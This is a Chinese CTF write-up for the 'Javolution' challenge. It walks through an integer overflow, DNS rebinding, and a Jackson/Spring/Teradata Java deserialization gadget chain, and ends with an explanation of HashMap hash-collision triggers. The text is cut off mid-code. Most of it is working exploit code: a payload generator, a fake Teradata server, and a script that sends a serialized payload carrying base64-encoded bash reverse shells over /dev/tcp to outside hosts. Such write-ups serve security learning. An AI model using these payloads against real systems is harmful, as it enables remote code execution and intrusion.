周末简单看了下题,天枢出的题质量确实很高,但奈何自己水平就这样,只做了两道题。

Javolution

题解

Javolution 这题当时是真的没有发现竟然1ue师傅这里有现成的fakeserver脚本https://github.com/luelueking/Deserial_Sink_With_JDBC(自己还花了一天的时间在手搓协议)

模拟了一个宝可梦战斗的程序,然后这里存在整数溢出问题

直接把字节防御值设为 -2147483648 就能打过了

/cheat 接口能打反序列化,InetAddress.getByName(host) 这里利用DNS重绑定攻击绕

关键是找反序列化的 gadget

目标环境是jdk17,有spring环境,有jackson依赖,可以打jackson的原生反序列化触发环境中 TeraDataSourcegetConnection 方法

后续流程

后续相关Connection父类 GenericTeradataConnection 存在一处命令执行的地方,且参数可控

Exp

//坑:!!!得用题目提供的PalDataSource来反序列化,不然linux下getParentLogger这里会报错

package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.teradata.jdbc.TeraDataSource;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;

public class GenPayload {
    public static void gen() throws Exception {


        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        TeraDataSource dataSource = new PalDataSource();
        dataSource.setDSName("xxx.xxx.xxx.xxx");
        dataSource.setSSLMODE("DISABLE");
        //commond
        dataSource.setBROWSER("bash -c {echo,bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}}|{base64,-d}|{bash,-i}");
//        dataSource.setBROWSER("calc");

        dataSource.setTYPE("RAW");
        dataSource.setLOGMECH("BROWSER");

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(dataSource);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{DataSource.class}, handler);

        POJONode jsonNodes = new POJONode(proxyObj);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
        HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);

    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}

现在有个问题是这里会发起一个正常的teradata数据库连接,所以得搭建一个这样的数据库

参考,https://www.w3cschool.cn/teradata/teradata_installation.html

自己下载了这4个多G的镜像,起了服务后尝试连接,但报错

[Teradata JDBC Driver] [TeraJDBC 20.00.00.16] [Error 1542] [SQLState 08000] Browser Authentication Mechanism not supported by this database

参考官方文档

https://docs.teradata.com/r/Enterprise_IntelliFlex_VMware/Security-Administration/Configuring-Single-Sign-On/Configuration-for-Browser-Authentication

但还是不太行

后面索性抓包得到数据包,然后根据源码和得到的数据包再改写得到fakeserver(真的是花了一整天,先是尝试手搓整个报文,但后续分析源码发现太耗时间了,所以直接在原有的数据包后追加我们需要的parcel即可)

import com.teradata.jdbc.jdbc_4.io.TDNetworkIOIF;
import com.teradata.jdbc.jdbc_4.io.TDPacket;
import com.teradata.jdbc.jdbc_4.logging.Log;
import com.teradata.jdbc.jdbc_4.parcel.SecurityPolicyParcel;
import com.teradata.jdbc.jdbc_4.util.ErrorAnalyzer;
import javax.net.ssl.SSLSocket;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.ServerSocket;
import java.net.Socket;
import java.sql.SQLException;
import java.util.Arrays;

public class ProtocolPoc {

    static byte[] bytes = new byte[] {3, 2, 10, 0, 0, 7, 0, 0, 3, 120, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 2, 78, 0, 0, 3, -24, 0, 0, 3, -24, 0, 120, 0, 1, 119, -1, 0, 0, 0, 2, 0, 0, 0, 1, -1, 0, 0, 4, -66, 0, 85, 84, 70, 49, 54, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -65, 0, 85, 84, 70, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -1, 0, 65, 83, 67, 73, 73, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, -64, 0, 69, 66, 67, 68, 73, 67, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 78, 1, 0, 1, 0, 1, 84, 0, 7, 0, -116, 49, 0, 0, 100, 0, 0, -6, 0, 0, 15, 66, 64, 0, 0, 0, 0, 124, -1, 6, 0, 0, 112, 0, 0, 0, -1, -8, 0, 0, 0, 1, 0, 0, 0, 0, -65, 0, 0, 0, 16, 0, 0, -1, -1, 0, 0, 8, 0, 0, 0, 0, -128, 0, 0, 0, 64, 0, 0, 9, -25, 0, 15, -96, 0, 0, 0, -14, 48, 0, 0, 121, 24, 0, 0, 0, 38, 0, 0, -6, 0, 0, 0, -6, 0, 0, 0, -6, 0, 0, 0, 125, 0, 0, 0, 125, 0, 0, 0, -6, 0, 0, 0, -6, 0, 0, 0, 9, -25, 0, 0, 0, 6, 0, 0, 0, 6, 0, 0, 0, 6, 0, 0, 3, -24, 0, 15, -96, 0, 0, -1, -4, 0, 0, 15, -1, -76, 0, 0, -6, 0, 0, 9, 0, 1, 1, 0, 10, 0, 28, 1, 1, 1, 1, 1, 1, 1, 2, 1, 0, 1, 1, 0, 1, 1, 1, 1, 2, 1, 1, 0, 1, 1, 1, 1, 1, 1, 2, 0, 11, 0, 34, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 12, 0, 6, 1, 0, 1, 2, 1, 1, 0, 13, 0, 62, 49, 55, 46, 50, 48, 46, 48, 51, 46, 48, 57, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 55, 46, 50, 48, 46, 48, 51, 46, 48, 57, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 0, 14, 0, 4, 3, 3, 2, 3, 0, 15, 0, 40, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 16, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -128, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 18, 0, 32, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 0, 8, 1, 1, 1, 0, 0, 0, 0, 0, 0, 6, 0, 2, 1, 73, 0, -91, 0, 76, 0, 0, 0, 1, 0, 1, 0, 5, 1, 0, 2, 0, 8, 17, 20, 3, 9, 0, 3, 0, 4, 0, 4, 0, 6, 0, 33, 0, 6, 0, 4, 0, 5, 0, 4, 0, 7, 0, 4, 0, 8, 0, 4, 0, 9, 0, 4, 0, 10, 0, 5, 1, 0, 11, 0, 5, 1, 0, 12, 0, 5, 1, 0, 14, 0, 4, 0, 16, 0, 6, 1, 0, 0, -89, 0, 49, 0, 0, 0, 1, 0, 0, 0, 13, 43, 6, 1, 4, 1, -127, 63, 1, -121, 116, 1, 1, 9, 0, 16, 0, 12, 0, 0, 0, 3, 0, 0, 0, 1, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 20, 0, -89, 0, 36, 0, 0, 0, 1, 0, 0, 0, 12, 43, 6, 1, 4, 1, -127, 63, 1, -121, 116, 1, 20, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 70, 0, -89, 0, 33, 0, 0, 0, 1, 0, 0, 0, 9, 42, -122, 72, -122, -9, 18, 1, 2, 2, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 40, 0, -89, 0, 30, 0, 0, 0, 1, 0, 0, 0, 6, 43, 6, 1, 5, 5, 2, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 65, 0, -89, 0, 37, 0, 0, 0, 1, 0, 0, 0, 13, 43, 6, 1, 4, 1, -127, -32, 26, 4, -126, 46, 1, 4, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 30, 0, -89, 0, 37, 0, 0, 0, 1, 0, 0, 0, 13, 43, 6, 1, 4, 1, -127, -32, 26, 4, -126, 46, 1, 3, 0, 17, 0, 12, 0, 0, 0, 1, 0, 0, 0, 10};
    static String url = "http://xxx.xxx.xxx.xxx:8080";
    public static void main(String[] args) throws SQLException {

        // 服务器端代码
        try {
            ServerSocket serverSocket = new ServerSocket(1025);
            while (true) {

                System.out.println("Server started, waiting for client...");

                Socket clientSocket = serverSocket.accept();
                System.out.println("Client connected.");
                OutputStream out = clientSocket.getOutputStream();

                // 创建TDPacket对象并设置数据
                TDPacket packet = new TDPacket(1024);
                packet.getBuffer().put(bytes);

                //第8第9个字节为报文总长度,需要需修改
                //940 -52 =888
                //888 + 17 + url.getBytes().length
                packet.getBuffer().putShort(8, (short) (888 + 17 + url.getBytes().length));

                setGtwConfigParcel(packet);

                out.write(packet.getBuffer().getBuffer());

                System.out.println("end............");
            }

        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    //总长为18字节
    public static void setGtwConfigParcel(TDPacket packet) {

        //Gtw标识,装填Flavor
        packet.getBuffer().putShort((short) 165);
        // 之后buffer里开始填 GtwConfigParcel 的数据
        // Parcel数据的整体长度
        packet.getBuffer().putShort((short) (17 + url.getBytes().length));
        // Int标识
        packet.getBuffer().putInt(1);
        // determineFeatureSupport中的标识
        // var4 var5
        packet.getBuffer().putShort((short) 15);
        //**填充, 坑,调试出来的,和给的url长度有关**
        packet.getBuffer().putShort((short) 35);
        // m_sIdentityProviderClientID
        packet.getBuffer().putShort((short) 1);
        packet.getBuffer().put((byte) 97);
        // m_sIdentityProviderURL

        packet.getBuffer().putShort((short) url.getBytes().length);
        for (byte b: url.getBytes()) {
            packet.getBuffer().put(b);
        }
    }


}

然后服务器上放个.well-known/openid-configuration文件

{
    "authorization_endpoint": "xxx",
    "token_endpoint": "xxxx"
}

Exp

import requests

payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAN29yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5Ib3RTd2FwcGFibGVUYXJnZXRTb3VyY2VoDf7kp0GjUwIAAUwABnRhcmdldHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AA3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABABRqYXZheC5zcWwuRGF0YVNvdXJjZXhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAARaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7WwARcHJveGllZEludGVyZmFjZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAFWgALcHJlRmlsdGVyZWRMABNhZHZpc29yQ2hhaW5GYWN0b3J5dAA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc29yQ2hhaW5GYWN0b3J5O0wACGFkdmlzb3JzdAAQTGphdmEvdXRpbC9MaXN0O0wACmludGVyZmFjZXNxAH4AE0wADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHNyADxvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuRGVmYXVsdEFkdmlzb3JDaGFpbkZhY3RvcnlU3WQ34k5x9wIAAHhwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3EAfgAZAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH+Pq6AgABTAAGdGFyZ2V0cQB+AAN4cHNyACdvcmcuZHViaGUuamF2b2x1dGlvbi5wb29sLlBhbERhdGFTb3VyY2WdSCckHlz9rQIAAHhyACBjb20udGVyYWRhdGEuamRiYy5UZXJhRGF0YVNvdXJjZRhK+SbQU/G9AgAAeHIAJGNvbS50ZXJhZGF0YS5qZGJjLlRlcmFEYXRhU291cmNlQmFzZQYeeS/skN2GAgBeSQAORFNMb2dpblRpbWVvdXRMAAdDaGFyU2V0dAASTGphdmEvbGFuZy9TdHJpbmc7TAAGRFNOYW1lcQB+ACFMAAdMb2dEYXRhcQB+ACFMAAdMb2dNZWNocQB+ACFMAAlQYXJ0aXRpb25xAH4AIUwADFRyYW5zYWN0TW9kZXEAfgAhTAAJYWNjb3VudElkcQB+ACFMAAljb21wYXREQlNxAH4AIUwAD2NvbXBhdEdldFNjaGVtYXEAfgAhTAAOY29tcGF0R2V0VGFibGVxAH4AIUwAD2NvbXBhdElzQXV0b0luY3EAfgAhTAAQY29tcGF0SXNDdXJyZW5jeXEAfgAhTAAPY29tcGF0SXNEZWZXcml0cQB+ACFMABBjb21wYXRJc1JlYWRPbmx5cQB+ACFMAA5jb21wYXRJc1NlYXJjaHEAfgAhTAAOY29tcGF0SXNTaWduZWRxAH4AIUwAEGNvbXBhdElzV3JpdGFibGVxAH4AIUwADGRhdGFiYXNlTmFtZXEAfgAhTAAOZGF0YXNvdXJjZU5hbWVxAH4AIUwAB2Ric1BvcnRxAH4AIUwAFWRlcHJlY2F0ZWRfc2VydmVyTmFtZXEAfgAhTAALZGVzY3JpcHRpb25xAH4AIUwAC2VuY3J5cHREYXRhcQB+ACFMAAZnb3Zlcm5xAH4AIUwACmxvYlN1cHBvcnRxAH4AIUwADGxvYlRlbXBUYWJsZXEAfgAhTAAIbG9nTGV2ZWxxAH4AIUwACWxvZ1dyaXRlcnQAFUxqYXZhL2lvL1ByaW50V3JpdGVyO0wADm1fY29wRGlzY292ZXJ5cQB+ACFMAA1tX3ByZXBTdXBwb3J0cQB+ACFMABZtX3NBY2N1cmF0ZUNvbHVtbk5hbWVzcQB+ACFMAAptX3NCcm93c2VycQB+ACFMABRtX3NCcm93c2VyVGFiVGltZW91dHEAfgAhTAARbV9zQnJvd3NlclRpbWVvdXRxAH4AIUwACm1fc0NPUExhc3RxAH4AIUwAEG1fc0NsaWVudENoYXJzZXRxAH4AIUwAFG1fc0Nvbm5lY3RGYWlsdXJlVFRMcQB+ACFMABJtX3NDb25uZWN0RnVuY3Rpb25xAH4AIUwAGG1fc0NyZWRlbnRpYWxzRnJvbUdldFVSTHEAfgAhTAAQbV9zRGF0YURpY3RTdGF0c3EAfgAhTAASbV9zRXJyb3JRdWVyeUNvdW50cQB+ACFMABVtX3NFcnJvclF1ZXJ5SW50ZXJ2YWxxAH4AIUwAFG1fc0Vycm9yVGFibGUxU3VmZml4cQB+ACFMABRtX3NFcnJvclRhYmxlMlN1ZmZpeHEAfgAhTAAVbV9zRXJyb3JUYWJsZURhdGFiYXNlcQB+ACFMABFtX3NGaWVsZFNlcGFyYXRvcnEAfgAhTAAUbV9zRmluYWxpemVBdXRvQ2xvc2VxAH4AIUwACm1fc0ZsYXR0ZW5xAH4AIUwADG1fc0hUVFBTUG9ydHEAfgAhTAANbV9zSFRUUFNQcm94eXEAfgAhTAAVbV9zSFRUUFNQcm94eVBhc3N3b3JkcQB+ACFMABFtX3NIVFRQU1Byb3h5VXNlcnEAfgAhTAAKbV9zTFNTVHlwZXEAfgAhTAAUbV9zTGl0ZXJhbFVuZGVyc2NvcmVxAH4AIUwAFm1fc0xvZ29uU2VxdWVuY2VOdW1iZXJxAH4AIUwAEW1fc01heE1lc3NhZ2VCb2R5cQB+ACFMAAxtX3NNYXlCZU51bGxxAH4AIUwADG1fc09JRENTY29wZXEAfgAhTAAMbV9zT0lEQ1Rva2VucQB+ACFMABNtX3NQcm94eUJ5cGFzc0hvc3RzcQB+ACFMABFtX3NSZWNvbm5lY3RDb3VudHEAfgAhTAAUbV9zUmVjb25uZWN0SW50ZXJ2YWxxAH4AIUwACm1fc1JlZHJpdmVxAH4AIUwADW1fc1J1blN0YXJ0dXBxAH4AIUwACG1fc1NTTENBcQB+ACFMAAxtX3NTU0xDQVBhdGhxAH4AIUwACW1fc1NTTENSQ3EAfgAhTAAJbV9zU1NMQ1JMcQB+ACFMAAxtX3NTU0xDaXBoZXJxAH4AIUwAC21fc1NTTERlYnVncQB+ACFMAAptX3NTU0xNb2RlcQB+ACFMAAptX3NTU0xPQ1NQcQB+ACFMAA5tX3NTU0xQcm90b2NvbHEAfgAhTAAQbV9zU1NMVHJ1c3RTdG9yZXEAfgAhTAAYbV9zU1NMVHJ1c3RTdG9yZVBhc3N3b3JkcQB+ACFMABRtX3NTU0xUcnVzdFN0b3JlVHlwZXEAfgAhTAANbV9zU2lwU3VwcG9ydHEAfgAhTAAXbV9zU2xvYlJlY2VpdmVUaHJlc2hvbGRxAH4AIUwAGG1fc1Nsb2JUcmFuc21pdFRocmVzaG9sZHEAfgAhTAAPbV9zU3RyaWN0RW5jb2RlcQB+ACFMAAZtX3NUQ1BxAH4AIUwAFm1fc1RydXN0ZWRTUUxBd2FyZW5lc3NxAH4AIUwAEG1fc1hYRVByb2Nlc3NpbmdxAH4AIUwAC25ld1Bhc3N3b3JkcQB+ACFMAAhwYXNzd29yZHEAfgAhTAAKc2VydmVyTmFtZXEAfgAhTAAIc2Vzc2lvbnNxAH4AIUwAA3NwbHEAfgAhTAAFdG5hbm9xAH4AIUwABnRzbmFub3EAfgAhTAAEdHlwZXEAfgAhTAAJdXNlWHZpZXdzcQB+ACFMAAR1c2VycQB+ACF4cAAAAAB0AAVBU0NJSXQADjExMS4yMjkuODguMTQ1cHQAB0JST1dTRVJ0AAdEQkMvU1FMdAAHREVGQVVMVHQADU5PX0FDQ09VTlRfSURwcHBwcHBwcHBwdAAPTk9fREVGX0RBVEFCQVNFcHBwdAAUVGVyYWRhdGEgRGF0YSBTb3VyY2V0AANPRkZ0AAJPTnEAfgAtcHBwcQB+AC1wcHQAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmk5a1pYWXZkR053THpFeE1TNHlNamt1T0RndU1UUTFMekV5TXpRZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX1wcHBwcHBwcHBwcHBwdAABLHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHQAB0RJU0FCTEVwcHBwcHEAfgAtcHBwcHBwcHBwdAABMHQAA1NQTHBwdAADUkFXcQB+ACxwdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAADdnIAI29yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLlNwcmluZ1Byb3h5AAAAAAAAAAAAAAB4cHZyAClvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuQWR2aXNlZAAAAAAAAAAAAAAAeHB2cgAob3JnLnNwcmluZ2ZyYW1ld29yay5jb3JlLkRlY29yYXRpbmdQcm94eQAAAAAAAAAAAAAAeHBxAH4ABHNxAH4AAnNyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0cy5YU3RyaW5nHAonO0gWxf0CAAB4cgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWE9iamVjdPSYEgm7e7YZAgABTAAFbV9vYmpxAH4AA3hyACxjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwuRXhwcmVzc2lvbgfZphyNrKzWAgABTAAIbV9wYXJlbnR0ADJMY29tL3N1bi9vcmcvYXBhY2hlL3hwYXRoL2ludGVybmFsL0V4cHJlc3Npb25Ob2RlO3hwcHQAATFxAH4APHg="

baseUrl = "http://1.95.54.152:39443"

def battle(boss):
    res = requests.get(baseUrl + f"/pal/battle/{boss}")
    print(res.text)
    
def cheat():
    res = requests.get(baseUrl + "/pal/cheat?defense=-2147483648")
    
def show():
    res = requests.get(baseUrl + "/pal/show")
    print(res.text)

def reverseShell():
    res = requests.post(baseUrl + "/pal/cheat", data={"host": "dubhe.pankas.top", "data": payload})
    print(res.text)

if __name__ == "__main__":
    cheat()
    show()
    battle("Jetragon")
    show()
    reverseShell()

关于新学到的点

记录下出题人的记录 https://h4cking2thegate.github.io/posts/42795/

然后这里关于出题人的wp中对于toString的触发其实是很不错的

出题人的wp

package org.example.teratest;

import com.sun.org.apache.xpath.internal.objects.XString;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;

public class JacksonTera
{
    public static void main(String[] args) throws Exception
    {
        String command = "notepad";
        PalDataSource dataSource = new PalDataSource();
        dataSource.setBROWSER(command);
        dataSource.setLOGMECH("BROWSER");
        dataSource.setDSName("127.0.0.1");
        dataSource.setDbsPort("10250");
        dataSource.setBROWSER_TIMEOUT("2");
        dataSource.getConnection();
        Object proxy = getProxy(dataSource, DataSource.class);
        Object exp = getXstringMap(proxy);
        base64Serialize(exp);
    }

    public static Object getProxy(Object obj,Class<?> clazz) throws Exception
    {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(obj);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
        return proxy;
    }

    public static Object getXstringMap(Object obj) throws Exception
    {
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        POJONode node = new POJONode(obj);

        XString xString = new XString("A.R.");

        HashMap<Object, Object> map1 = new HashMap<>();
        HashMap<Object, Object> map2 = new HashMap<>();
        map1.put("yy", node);
        map1.put("zZ", xString);
        map2.put("yy", xString);
        map2.put("zZ", node);
        Object o = makeMap(map1, map2);

        return o;
    }

    public static HashMap makeMap(Object v1, Object v2) throws Exception
    {
        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }

    public static String base64Serialize(Object obj) throws Exception
    {

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(obj);
        String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(payload);
        return payload;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
    {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

对于jackson的链子,比较关键的就是如何找到 toString() 这个点 ,一般比较好找的点就是从 equals 方法到 toString 方法,所以一般在有 XString 的情况下就可以利用 XStringequals方法来触发 POJONodetoString 方法。一般equal方法确实是比较好触发的,这里A.R师傅就是给出了一种比较通用的办法,就是利用 HashMap 的hash碰撞来触发equals 方法。

先来看看HashMap 是如何put

调用 hash 方法计算key的hashCode,之后调用 putVal 添加数据,hash 方法调用的是key的 hashCode 方法,所以这里一个sink点是 hashCode() 方法。

关键是看后面HashMap是如何处理hash碰撞的

putVal 中能看到,当两个值的hashcode一样时 **(发生hash碰撞)**,会调用keyequal 方法来和hash值一样的key进行比较看是否相等,那么这里就找到了一个 equals 的sink点,后续利用 XString 就可以从 equalstoString

所以这里的点就是如何构造hash碰撞

我们知道在反序列化HashMap的时候必定会调用 HashMap 的 put 方法添加数据,而对于不同的对象,其hashcode一般是不一样的,

但字符串除外,两个不同的字符串他们的hashcode可能会是一样的,比如字符串 yy 和 字符串 zZ,他们的hashcode就是一样的。但调用 字符串的equals 方法是没啥意义的,我们得利用特定对象的 equals 方法才行,所以这里就要求我们找两个hashcode 相同的不同对象才可以。

这样的类有吗,确实是有的,比如 org.springframework.aop.target.HotSwappableTargetSource ,它的hashCode 方法的返回值是固定的,它的两个不同对象可以实现hash碰撞

那有没有更通用的,在jdk原生包里就有的呢?

也是有的,就是上面payload中使用的方法,在 HashMap 中套两个 HashMap 来完成hash碰撞,且能触发其中特性对象的 equals 方法

看看 HashMaphashCode 方法是如何计算hash值的

使用的是其父类 AbstractMaphashCode 方法

比较简单暴力,就是对HashMap中每一个entry的hashcode值累加得到

其中entry的hashCode方法就是对其 keyvalue 的hashcode 异或

所以假设有两个不同的对象 CD,要满足 A^C +B^D == A^D + B^C,我们只要令A == B,就可以,而对于 A和B我们给两个hashcode相同的字符串即可,如 yyzZ

这样就满足了两个不同的 HashMap 确有了相同 hashCode 的方法了

import java.util.HashMap;

public class Test {
    public static void main(String[] args) {
        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        
